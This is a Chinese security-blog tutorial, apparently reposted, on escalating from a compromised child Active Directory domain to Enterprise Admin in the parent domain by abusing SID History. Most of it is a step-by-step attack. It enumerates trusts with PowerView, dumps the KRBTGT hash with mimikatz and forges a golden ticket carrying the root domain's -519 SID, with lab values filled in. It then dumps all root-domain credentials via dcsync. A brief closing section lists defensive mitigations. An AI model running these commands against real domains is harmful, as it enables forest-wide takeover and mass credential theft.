【技术分享】子域到父域的横向移动(Sid History)

admin 2021年12月2日10:00:50评论226 views字数 3096阅读10分19秒阅读模式

【技术分享】子域到父域的横向移动(Sid History)


00
前言


文接上篇文章【技术分享】从父域到子域的横向移动探究子域如何横向移动到父域的Enterprise Admin组,并给出防御方法。


 

01
Enterprise Admins组


在父子域中,最重要的莫过于Enterprise Admins组了,并且该组只存在于林根域中,其成员有权管理林内的所有域,这是因为在添加子域后,Enterprise Admins组会自动添加到林中每个域中的Administrators组成员中。但是该组在其他域树中是不存在的,所以在子域中是看不到有Enterprise Admins组。本文也是基于Enterprise Admins组来提权。

 

02
跨域访问流程


用户在登录某台客户机的时候,系统必须验证用户的身份,除了账号密码之外,还会为用户建立一个access token(访问令牌),其中包含用户账户的SID、用户所隶属的所有组的SID等数据。当用户取得access token后,如果他要访问计算机内的资源时,便会出示access token,而系统会根据access token内的SID数据来决定用户拥有何种权限。

同理当用户连接网络上其他计算机时,这台计算机也会为该用户建立一个access token,当用户需要访问资源的时候,便会出示access token,这台计算机便会根据出示的access token的SID数据,来决定用户拥有何种的访问权限

 

03
SID History


根据微软的解释,SID History 是一个支持迁移方案的属性,每个用户帐户都有一个关联的安全标识符 (SID),用于跟踪安全主体和帐户在连接到资源时的访问权限。SID 历史记录允许将另一个帐户的访问有效地克隆到另一个帐户,并且对于确保用户在从一个域移动(迁移)到另一个域时保留访问权限非常有用。

而一个账户可以在SID-History Active Directory 属性中保存额外的 SID ,从而允许域之间进行可相互操作的帐户迁移(例如,SID-History 中的所有值都包含在访问令牌中)。

为了达到SID History攻击的目的,我们的将使用域管理员权限,将获取到的有权限的SID值插入到SID历史记录中,以实现模拟任意用户/组(例如Enterprise Admins)的权限,达到跨域提权目的。

 

04
枚举域信任


1.用全局编录的方式进行域信任查看
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"

【技术分享】子域到父域的横向移动(Sid History)

2.使用powershell展现一个域信任关系
Get-ADTrust -Filter *

【技术分享】子域到父域的横向移动(Sid History)

3.使用windows自带命令查看
nltest /domain_trusts

【技术分享】子域到父域的横向移动(Sid History)

从上面的命令可以看出来,父域和子域是存在双向的信任关系

 

04
环境准备


本地环境使用到的是windows server2016
主域:dpl.com
子域:ziyu.dpl.com
假设已经拿到子域域控的权限,接下来我要拿根域的权限

 

05
从子域到父域的EA组提权利用


Sid History攻击需要
1.域名称(GET-ADDomain)
2.域的SID值(GET-ADDomainSID)
3.域的KRBTGT账户的hash(mimitakz)
4.伪造用户名(administrator)
5.根域EA组的ObjectID(Convert-NameToSid)

利用powerview+mimikatz完成攻击利用

Ⅰ使用Sid History完成对父域的提权

①获取子域名称
Get-Domain或ipconfig /all

【技术分享】子域到父域的横向移动(Sid History)

②获取子域的SID值
Get-DomainSID

【技术分享】子域到父域的横向移动(Sid History)

③获取子域KRBTGT的hash
sekurlsa::krbtgt

【技术分享】子域到父域的横向移动(Sid History)

④获取根域EA组的ObjectID
Convert-NameToSid dplkrbtgt

【技术分享】子域到父域的横向移动(Sid History)

Ⅱ、SID介绍

SID用于唯一标识安全主体或安全组,以S-1-5-21-1315137663-3706837544-1429009142-502为例
表示字符串为SID(S)
修订级别(1)
标识符颁发机构 (5,NT Authority)
域标识符(21-1315137663-3706837544-1429009142)
相对标识符RID(krbtgt 502)
常见的SID:Domain Admins(S-1-5-domain-512)、Domain Users(S-1-5-domain-513)、Administrator(S-1-5-domain-500)、Enterprise Admins(S-1-5-root domain-519)、Domain Admins(S-1-5-domain-515)

而完成Sid History攻击需要修改其RID,获取到krbtgt的SID后,将502修改为519,也就是Enterprise Admins组
格式:mimikatz kerberos::golden /user:administrator /domain:<current FQDN> /sid:<current SID> /krbtgt:<KRBTGT_HASH> /sids:<root domain SID>-519 /ptt
/user – 需要模拟的用户名,本例中为administrator
/domain – 完全限定域名(FQDN)
/sid – 域的 SID
/krbtgt – krbtgt的ntlm密码hash
/sids – AD 林中帐户/组的 SID,能获取高权限的ticket,本例中为Enterprise Admins组
/ptt – 将伪造的票据注入内存以供使用

Ⅲ、使用mimikatz完成攻击

访问根域是拒绝

【技术分享】子域到父域的横向移动(Sid History)

命令:mimikatz # kerberos::golden /user:administrator /domain:ziyu.dpl.com /sid:S-1-5-21-2455727910-2290990957-1796281965 /krbtgt:a6dfcc6757f07f2338871c1437661771 /sids:S-1-5-21-551729718-3557281277-2606199327-519 /ptt

【技术分享】子域到父域的横向移动(Sid History)

用主机名访问,不然会出错,访问父域成功

【技术分享】子域到父域的横向移动(Sid History)

使用mimikatz导出根域的hash
lsadump::dcsync /domain:dpl.com /all /csv

【技术分享】子域到父域的横向移动(Sid History)

 

06
防御方法


1.合法帐户迁移完成后清除 SID-History 属性
a.标识帐户的 SIDHistory 属性中的 SID。
Get-ADUser -Identity <account> -Properties SidHistory | Select-Object -ExpandProperty SIDHistory
b.使用前面标识的 SID 删除 SIDHistory 属性
Set-ADUser -Identity <account> -Remove @{SIDHistory='S-1-5-21-...'}
2.使用 netdom 工具(在域控制器上)在林信任上禁用 SIDHistory
netdom trust /domain: /EnableSIDHistory:no
3.使用 netdom 工具(在域控制器上)将 SID 过滤器隔离应用于外部信任
netdom trust /domain: /quarantine:yes

(点击“阅读原文”查看链接)

【技术分享】子域到父域的横向移动(Sid History)


- 结尾 -

经典推荐

360CERT《网络安全六月月报》(附下载链接)

【技术分享】AFL源码分析(III)——afl-fuzz分析(Part 1)

【与骗子约会技术:约会约会APP的生态分享】

【技术分享】子域到父域的横向移动(Sid History)

戳“阅读原文”查看更多内容

本文始发于微信公众号(安全客):【技术分享】子域到父域的横向移动(Sid History)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月2日10:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术分享】子域到父域的横向移动(Sid History)https://cn-sec.com/archives/416197.html

发表评论

匿名网友 填写信息